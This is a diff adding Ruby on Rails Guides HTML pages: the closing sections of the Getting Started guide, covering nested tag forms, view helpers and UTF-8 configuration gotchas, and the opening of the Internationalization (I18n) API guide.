+class Post &lt; ActiveRecord::Base
+  validates :name,  :presence =&gt; true
+  validates :title, :presence =&gt; true,
+                    :length =&gt; { :minimum =&gt; 5 }
+
+  has_many :comments, :dependent =&gt; :destroy
+  has_many :tags
+
+  accepts_nested_attributes_for :tags, :allow_destroy =&gt; :true,
+    :reject_if =&gt; proc { |attrs| attrs.all? { |k, v| v.blank? } }
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>:allow_destroy</tt> option on the nested attribute declaration tells Rails to display a &#8220;remove&#8221; checkbox on the view that you&#8217;ll build shortly. The <tt>:reject_if</tt> option prevents saving new tags that do not have any attributes filled in.</p>
+<p>We will modify <tt>views/posts/_form.html.erb</tt> to render a partial to make a tag:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;% @post.tags.build %&gt;
+&lt;%= form_for(@post) do |post_form| %&gt;
+  &lt;% if @post.errors.any? %&gt;
+  &lt;div id=&quot;errorExplanation&quot;&gt;
+    &lt;h2&gt;&lt;%= pluralize(@post.errors.count, &quot;error&quot;) %&gt; prohibited this post from being saved:&lt;/h2&gt;
+    &lt;ul&gt;
+    &lt;% @post.errors.full_messages.each do |msg| %&gt;
+      &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;
+    &lt;% end %&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+  &lt;% end %&gt;
+
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= post_form.label :name %&gt;&lt;br /&gt;
+    &lt;%= post_form.text_field :name %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= post_form.label :title %&gt;&lt;br /&gt;
+    &lt;%= post_form.text_field :title %&gt;
+  &lt;/div&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= post_form.label :content %&gt;&lt;br /&gt;
+    &lt;%= post_form.text_area :content %&gt;
+  &lt;/div&gt;
+  &lt;h2&gt;Tags&lt;/h2&gt;
+  &lt;%= render :partial =&gt; 'tags/form',
+             :locals =&gt; {:form =&gt; post_form} %&gt;
+  &lt;div class=&quot;actions&quot;&gt;
+    &lt;%= post_form.submit %&gt;
+  &lt;/div&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Note that we have changed the <tt>f</tt> in <tt>form_for(@post) do |f|</tt> to <tt>post_form</tt> to make it easier to understand what is going on.</p>
+<p>This example shows another option of the render helper, being able to pass in local variables, in this case, we want the local variable <tt>form</tt> in the partial to refer to the <tt>post_form</tt> object.</p>
+<p>We also add a <tt>@post.tags.build</tt> at the top of this form, this is to make sure there is a new tag ready to have it&#8217;s name filled in by the user.  If you do not build the new tag, then the form will not appear as there is no new Tag object ready to create.</p>
+<p>Now create the folder <tt>app/views/tags</tt> and make a file in there called <tt>_form.html.erb</tt> which contains the form for the tag:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form.fields_for :tags do |tag_form| %&gt;
+  &lt;div class=&quot;field&quot;&gt;
+    &lt;%= tag_form.label :name, 'Tag:' %&gt;
+    &lt;%= tag_form.text_field :name %&gt;
+  &lt;/div&gt;
+  &lt;% unless tag_form.object.nil? || tag_form.object.new_record? %&gt;
+    &lt;div class=&quot;field&quot;&gt;
+      &lt;%= tag_form.label :_destroy, 'Remove:' %&gt;
+      &lt;%= tag_form.check_box :_destroy %&gt;
+    &lt;/div&gt;
+  &lt;% end %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to show our tags.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p class=&quot;notice&quot;&gt;&lt;%= notice %&gt;&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Name:&lt;/b&gt;
+  &lt;%= @post.name %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%= @post.title %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Content:&lt;/b&gt;
+  &lt;%= @post.content %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Tags:&lt;/b&gt;
+  &lt;%= @post.tags.map { |t| t.name }.join(&quot;, &quot;) %&gt;
+&lt;/p&gt;
+
+&lt;h2&gt;Comments&lt;/h2&gt;
+&lt;%= render :partial =&gt; &quot;comments/comment&quot;,
+           :collection =&gt; @post.comments %&gt;
+
+&lt;h2&gt;Add a comment:&lt;/h2&gt;
+&lt;%= render &quot;comments/form&quot; %&gt;
+
+
+&lt;%= link_to 'Edit Post', edit_post_path(@post) %&gt; |
+&lt;%= link_to 'Back to Posts', posts_path %&gt; |
+</pre>
+</div>
+</notextile>
+
+<p>With these changes in place, you&#8217;ll find that you can edit a post and its tags directly on the same view.</p>
+<p>However, that method call <tt>@post.tags.map { |t| t.name }.join(&quot;, &quot;)</tt> is awkward, we could handle this by making a helper method.</p>
+<h3 id="view-helpers">12 View Helpers</h3>
+<p>View Helpers live in <tt>app/helpers</tt> and provide small snippets of reusable code for views.  In our case, we want a method that strings a bunch of objects together using their name attribute and joining them with a comma.  As this is for the Post show template, we put it in the PostsHelper.</p>
+<p>Open up <tt>app/helpers/posts_helper.rb</tt> and add the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+module PostsHelper
+  def join_tags(post)
+    post.tags.map { |t| t.name }.join(&quot;, &quot;)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p class=&quot;notice&quot;&gt;&lt;%= notice %&gt;&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Name:&lt;/b&gt;
+  &lt;%= @post.name %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%= @post.title %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Content:&lt;/b&gt;
+  &lt;%= @post.content %&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;b&gt;Tags:&lt;/b&gt;
+  &lt;%= join_tags(@post) %&gt;
+&lt;/p&gt;
+
+&lt;h2&gt;Comments&lt;/h2&gt;
+&lt;%= render :partial =&gt; &quot;comments/comment&quot;,
+           :collection =&gt; @post.comments %&gt;
+
+&lt;h2&gt;Add a comment:&lt;/h2&gt;
+&lt;%= render &quot;comments/form&quot; %&gt;
+
+
+&lt;%= link_to 'Edit Post', edit_post_path(@post) %&gt; |
+&lt;%= link_to 'Back to Posts', posts_path %&gt; |
+</pre>
+</div>
+</notextile>
+
+<h3 id="what-s-next">13 What&#8217;s Next?</h3>
+<p>Now that you&#8217;ve seen your first Rails application, you should feel free to update it and experiment on your own. But you don&#8217;t have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:</p>
+<ul>
+	<li>The <a href="index.html">Ruby on Rails guides</a></li>
+	<li>The <a href="http://railstutorial.org/book">Ruby on Rails Tutorial</a></li>
+	<li>The <a href="http://groups.google.com/group/rubyonrails-talk">Ruby on Rails mailing list</a></li>
+	<li>The <a href="irc://irc.freenode.net/#rubyonrails">#rubyonrails</a> channel on irc.freenode.net</li>
+	<li>The <a href="http://wiki.rubyonrails.org/">Rails Wiki</a></li>
+</ul>
+<p>Rails also comes with built-in help that you can generate using the rake command-line utility:</p>
+<ul>
+	<li>Running <tt>rake doc:guides</tt> will put a full copy of the Rails Guides in the <tt>doc/guides</tt> folder of your application. Open <tt>doc/guides/index.html</tt> in your web browser to explore the Guides.</li>
+	<li>Running <tt>rake doc:rails</tt> will put a full copy of the <span class="caps">API</span> documentation for Rails in the <tt>doc/api</tt> folder of your application. Open <tt>doc/api/index.html</tt> in your web browser to explore the <span class="caps">API</span> documentation.</li>
+</ul>
+<h3 id="configuration-gotchas">14 Configuration Gotchas</h3>
+<p>The easiest way to work with Rails is to store all external data as <span class="caps">UTF</span>-8. If you don&#8217;t, Ruby libraries and Rails will often be able to convert your native data into <span class="caps">UTF</span>-8, but this doesn&#8217;t always work reliably, so you&#8217;re better off ensuring that all external data is <span class="caps">UTF</span>-8.</p>
+<p>If you have made a mistake in this area, the most common symptom is a black diamond with a question mark inside appearing in the browser. Another common symptom is characters like &#8220;รƒยผ&#8221; appearing instead of &#8220;รผ&#8221;. Rails takes a number of internal steps to mitigate common causes of these problems that can be automatically detected and corrected. However, if you have external data that is not stored as <span class="caps">UTF</span>-8, it can occasionally result in these kinds of issues that cannot be automatically detected by Rails and corrected.</p>
+<p>Two very common sources of data that are not <span class="caps">UTF</span>-8:</p>
+<ul>
+	<li>Your text editor: Most text editors (such as Textmate), default to saving files as
+  <span class="caps">UTF</span>-8. If your text editor does not, this can result in special characters that you
+  enter in your templates (such as รฉ) to appear as a diamond with a question mark inside
+  in the browser. This also applies to your I18N translation files.
+  Most editors that do not already default to <span class="caps">UTF</span>-8 (such as some versions of
+  Dreamweaver) offer a way to change the default to <span class="caps">UTF</span>-8. Do so.</li>
+	<li>Your database. Rails defaults to converting data from your database into <span class="caps">UTF</span>-8 at
+  the boundary. However, if your database is not using <span class="caps">UTF</span>-8 internally, it may not
+  be able to store all characters that your users enter. For instance, if your database
+  is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
+  character, the data will be lost forever once it enters the database. If possible,
+  use <span class="caps">UTF</span>-8 as the internal storage of your database.</li>
+</ul>
+<h3 id="changelog">15 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2">Lighthouse ticket</a></p>
+<ul>
+	<li>August 30, 2010: Minor editing after Rails 3 release by <a href="http://www.spacebabies.nl">Joost Baaij</a></li>
+	<li>July 12, 2010: Fixes, editing and updating of code samples by <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>May 16, 2010: Added a section on configuration gotchas to address common encoding problems that people might have by <a href="http://www.yehudakatz.com">Yehuda Katz</a></li>
+	<li>April 30, 2010: Fixes, editing and updating of code samples by <a href="http://rohitarondekar.com">Rohit Arondekar</a></li>
+	<li>April 25, 2010: Couple of more minor fixups <a href="credits.html#raasdnil">Mikel Lindsaar</a></li>
+	<li>April 1, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>February 8, 2010: Full re-write for Rails 3.0-beta, added helpers and before_filters, refactored code by <a href="credits.html#raasdnil">Mikel Lindsaar</a></li>
+	<li>January 24, 2010: Re-write for Rails 3.0 by <a href="credits.html#raasdnil">Mikel Lindsaar</a></li>
+	<li>July 18, 2009: Minor cleanup in anticipation of Rails 2.3.3 by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>February 1, 2009: Updated for Rails 2.3 by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>November 3, 2008: Formatting patch from Dave Rothlisberger</li>
+	<li>November 1, 2008: First approved version by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>October 16, 2008: Revised based on feedback from Pratik Naik by <a href="credits.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)</li>
+	<li>October 13, 2008: First complete draft by <a href="credits.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)</li>
+	<li>October 12, 2008: More detail, rearrangement, editing by <a href="credits.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)</li>
+	<li>September 8, 2008: initial version by <a href="credits.html#bensie">James Miller</a> (not yet approved for publication)</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/i18n.html
@@ -0,0 +1,1144 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Rails Internationalization (I18n) API</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Rails Internationalization (I18n) <span class="caps">API</span></h2>
+<p>The Ruby I18n (shorthand for <em>internationalization</em>) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for <strong>translating your application to a single custom language</strong> other than English or for <strong>providing multi-language support</strong> in your application.</p>
+<p>The process of &#8220;internationalization&#8221; usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of &#8220;localization&#8221; means to provide translations and localized formats for these bits. <sup class="footnote" id="fnr1"><a href="#fn1">1</a></sup></p>
+<p>So, in the process of <em>internationalizing</em> your Rails application you have to:</p>
+<ul>
+	<li>Ensure you have support for i18n</li>
+	<li>Tell Rails where to find locale dictionaries</li>
+	<li>Tell Rails how to set, preserve and switch locale</li>
+</ul>
+<p>In the process of <em>localizing</em> your application you&#8217;ll probably want to do following three things:</p>
+<ul>
+	<li>Replace or supplement Rails&#8217; default locale &#8212; e.g. date and time formats, month names, Active Record model names, etc</li>
+	<li>Abstract strings in your application into keyed dictionaries &#8212; e.g. flash messages, static text in your views, etc.</li>
+	<li>Store the resulting dictionaries somewhere</li>
+</ul>
+<p>This guide will walk you through the I18n <span class="caps">API</span> and contains a tutorial how to internationalize a Rails application from the start.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#how-i18n-in-ruby-on-rails-works">How I18n in Ruby on Rails Works</a><ul><li><a href="#the-overall-architecture-of-the-library">The Overall Architecture of the Library</a></li> <li><a href="#the-public-i18n-api">The Public I18n <span class="caps">API</span></a></li></ul></li><li><a href="#setup-the-rails-application-for-internationalization">Setup the Rails Application for Internationalization</a><ul><li><a href="#configure-the-i18n-module">Configure the I18n Module</a></li> <li><a href="#optional-custom-i18n-configuration-setup">Optional: Custom I18n Configuration Setup</a></li> <li><a href="#setting-and-passing-the-locale">Setting and Passing the Locale</a></li> <li><a href="#setting-the-locale-from-the-domain-name">Setting the Locale from the Domain Name</a></li> <li><a href="#setting-the-locale-from-the-url-params">Setting the Locale from the <span class="caps">URL</span> Params</a></li> <li><a href="#setting-the-locale-from-the-client-supplied-information">Setting the Locale from the Client Supplied Information</a></li></ul></li><li><a href="#internationalizing-your-application">Internationalizing your Application</a><ul><li><a href="#adding-translations">Adding Translations</a></li> <li><a href="#adding-date-time-formats">Adding Date/Time Formats</a></li> <li><a href="#localized-views">Localized Views</a></li> <li><a href="#organization-of-locale-files">Organization of Locale Files</a></li></ul></li><li><a href="#overview-of-the-i18n-api-features">Overview of the I18n <span class="caps">API</span> Features</a><ul><li><a href="#looking-up-translations">Looking up Translations</a></li> <li><a href="#interpolation">Interpolation</a></li> <li><a href="#pluralization">Pluralization</a></li> <li><a href="#setting-and-passing-a-locale">Setting and Passing a Locale</a></li></ul></li><li><a href="#how-to-store-your-custom-translations">How to Store your Custom Translations</a><ul><li><a href="#translations-for-active-record-models">Translations for Active Record Models</a></li> <li><a href="#overview-of-other-built-in-methods-that-provide-i18n-support">Overview of Other Built-In Methods that Provide I18n Support</a></li></ul></li><li><a href="#customize-your-i18n-setup">Customize your I18n Setup</a><ul><li><a href="#using-different-backends">Using Different Backends</a></li> <li><a href="#using-different-exception-handlers">Using Different Exception Handlers</a></li></ul></li><li><a href="#conclusion">Conclusion</a></li><li><a href="#contributing-to-rails-i18n">Contributing to Rails I18n</a></li><li><a href="#resources">Resources</a></li><li><a href="#authors">Authors</a></li><li><a href="#footnotes">Footnotes</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <div class='note'><p>The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails <a href="http://rails-i18n.org/wiki">I18n Wiki</a> for more information.</p></div>
+<h3 id="how-i18n-in-ruby-on-rails-works">1 How I18n in Ruby on Rails Works</h3>
+<p>Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n <span class="caps">API</span> focuses on:</p>
+<ul>
+	<li>providing support for English and similar languages out of the box</li>
+	<li>making it easy to customize and extend everything for other languages</li>
+</ul>
+<p>As part of this solution, <strong>every static string in the Rails framework</strong> &#8212; e.g. Active Record validation messages, time and date formats &#8212; <strong>has been internationalized</strong>, so <em>localization</em> of a Rails application means &#8220;over-riding&#8221; these defaults.</p>
+<h4 id="the-overall-architecture-of-the-library">1.1 The Overall Architecture of the Library</h4>
+<p>Thus, the Ruby I18n gem is split into two parts:</p>
+<ul>
+	<li>The public <span class="caps">API</span> of the i18n framework &#8212; a Ruby module with public methods that define how the library works</li>
+	<li>A default backend (which is intentionally named <em>Simple</em> backend) that implements these methods</li>
+</ul>
+<p>As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.</p>
+<div class='note'><p>It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section <a href="#using-different-backends">Using different backends</a> below.</p></div>
+<h4 id="the-public-i18n-api">1.2 The Public I18n <span class="caps">API</span></h4>
+<p>The most important methods of the I18n <span class="caps">API</span> are:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+translate # Lookup text translations
+localize  # Localize Date and Time objects to local formats
+</pre>
+</div>
+</notextile>
+
+<p>These have the aliases #t and #l so you can use them like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t 'store.title'
+I18n.l Time.now
+</pre>
+</div>
+</notextile>
+
+<p>There are also attribute readers and writers for the following attributes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+load_path         # Announce your custom translation files
+locale            # Get and set the current locale
+default_locale    # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend           # Use a different backend
+</pre>
+</div>
+</notextile>
+
+<p>So, let&#8217;s internationalize a simple Rails application from the ground up in the next chapters!</p>
+<h3 id="setup-the-rails-application-for-internationalization">2 Setup the Rails Application for Internationalization</h3>
+<p>There are just a few simple steps to get up and running with I18n support for your application.</p>
+<h4 id="configure-the-i18n-module">2.1 Configure the I18n Module</h4>
+<p>Following the <em>convention over configuration</em> philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.</p>
+<p>Rails adds all <tt>.rb</tt> and <tt>.yml</tt> files from the <tt>config/locales</tt> directory to your <strong>translations load path</strong>, automatically.</p>
+<p>The default <tt>en.yml</tt> locale in this directory contains a sample pair of translation strings:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+en:
+  hello: &quot;Hello world&quot;
+</pre>
+</div>
+</notextile>
+
+<p>This means, that in the <tt>:en</tt> locale, the key <em>hello</em> will map to the <em>Hello world</em> string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the <a href="http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml"><tt>activerecord/lib/active_record/locale/en.yml</tt></a> file or time and date formats in the <a href="http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml"><tt>activesupport/lib/active_support/locale/en.yml</tt></a> file. You can use <span class="caps">YAML</span> or standard Ruby Hashes to store translations in the default (Simple) backend.</p>
+<p>The I18n library will use <strong>English</strong> as a <strong>default locale</strong>, i.e. if you don&#8217;t set a different locale, <tt>:en</tt> will be used for looking up translations.</p>
+<div class='note'><p>The i18n library takes a <strong>pragmatic approach</strong> to locale keys (after <a href="http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en">some discussion</a>), including only the <em>locale</em> (&#8220;language&#8221;) part, like <tt>:en</tt>, <tt>:pl</tt>, not the <em>region</em> part, like <tt>:en-US</tt> or <tt>:en-UK</tt>, which are traditionally used for separating &#8220;languages&#8221; and &#8220;regional setting&#8221; or &#8220;dialects&#8221;. Many international applications use only the &#8220;language&#8221; element of a locale such as <tt>:cz</tt>, <tt>:th</tt> or <tt>:es</tt> (for Czech, Thai and Spanish).  However, there are also regional differences within different language groups that may be important. For instance, in the <tt>:en-US</tt> locale you would have $ as a currency symbol, while in <tt>:en-UK</tt>, you would have ยฃ. Nothing stops you from separating regional and other settings in this way: you just have to provide full &#8220;English &#8211; United Kingdom&#8221; locale in a <tt>:en-UK</tt> dictionary. Various <a href="http://rails-i18n.org/wiki">Rails I18n plugins</a> such as <a href="http://github.com/joshmh/globalize2/tree/master">Globalize2</a> may help you implement it.</p></div>
+<p>The <strong>translations load path</strong> (<tt>I18n.load_path</tt>) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.</p>
+<div class='note'><p>The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.</p></div>
+<p>The default <tt>application.rb</tt> files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+# config.i18n.default_locale = :de
+</pre>
+</div>
+</notextile>
+
+<h4 id="optional-custom-i18n-configuration-setup">2.2 Optional: Custom I18n Configuration Setup</h4>
+<p>For the sake of completeness, let&#8217;s mention that if you do not want to use the <tt>application.rb</tt> file for some reason, you can always wire up things manually, too.</p>
+<p>To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application &#8211; just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# in config/initializers/locale.rb
+
+# tell the I18n library where to find your translations
+I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+
+# set default locale to something other than :en
+I18n.default_locale = :pt
+</pre>
+</div>
+</notextile>
+
+<h4 id="setting-and-passing-the-locale">2.3 Setting and Passing the Locale</h4>
+<p>If you want to translate your Rails application to a <strong>single language other than English</strong> (the default locale), you can set I18n.default_locale to your locale in <tt>application.rb</tt> or an initializer as shown above, and it will persist through the requests.</p>
+<p>However, you would probably like to <strong>provide support for more locales</strong> in your application. In such case, you need to set and pass the locale between requests.</p>
+<div class='warning'><p>You may be tempted to store the chosen locale in a <em>session</em> or a <em>cookie_. <strong>Do not do so</strong>. The locale should be transparent and a part of the <span class="caps">URL</span>. This way you don&#8217;t break people&#8217;s basic assumptions about the web itself: if you send a <span class="caps">URL</span> of some page to a friend, she should see the same page, same content. A fancy word for this would be that you&#8217;re being <a href="http://en.wikipedia.org/wiki/Representational_State"><em>RESTful</em></a></em>Transfer. Read more about the RESTful approach in <a href="http://www.infoq.com/articles/rest-introduction">Stefan Tilkov&#8217;s articles</a>. There may be some exceptions to this rule, which are discussed below.</p></div>
+<p>The <em>setting part</em> is easy. You can set the locale in a <tt>before_filter</tt> in the <tt>ApplicationController</tt> like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+before_filter :set_locale
+def set_locale
+  # if params[:locale] is nil then I18n.default_locale will be used
+  I18n.locale = params[:locale]
+end
+</pre>
+</div>
+</notextile>
+
+<p>This requires you to pass the locale as a <span class="caps">URL</span> query parameter as in <tt>http://example.com/books?locale=pt</tt>. (This is, for example, Google&#8217;s approach.) So <tt>http://localhost:3000?locale=pt</tt> will load the Portuguese localization, whereas <tt>http://localhost:3000?locale=de</tt> would load the German localization, and so on. You may skip the next section and head over to the <strong>Internationalize your application</strong> section, if you want to try things out by manually placing the locale in the <span class="caps">URL</span> and reloading the page.</p>
+<p>Of course, you probably don&#8217;t want to manually include the locale in every <span class="caps">URL</span> all over your application, or want the URLs look differently, e.g. the usual <tt>http://example.com/pt/books</tt> versus <tt>http://example.com/en/books</tt>. Let&#8217;s discuss the different options you have.</p>
+<h4 id="setting-the-locale-from-the-domain-name">2.4 Setting the Locale from the Domain Name</h4>
+<p>One option you have is to set the locale from the domain name where your application runs. For example, we want <tt>www.example.com</tt> to load the English (or default) locale, and <tt>www.example.es</tt> to load the Spanish locale. Thus the <em>top-level domain name</em> is used for locale setting. This has several advantages:</p>
+<ul>
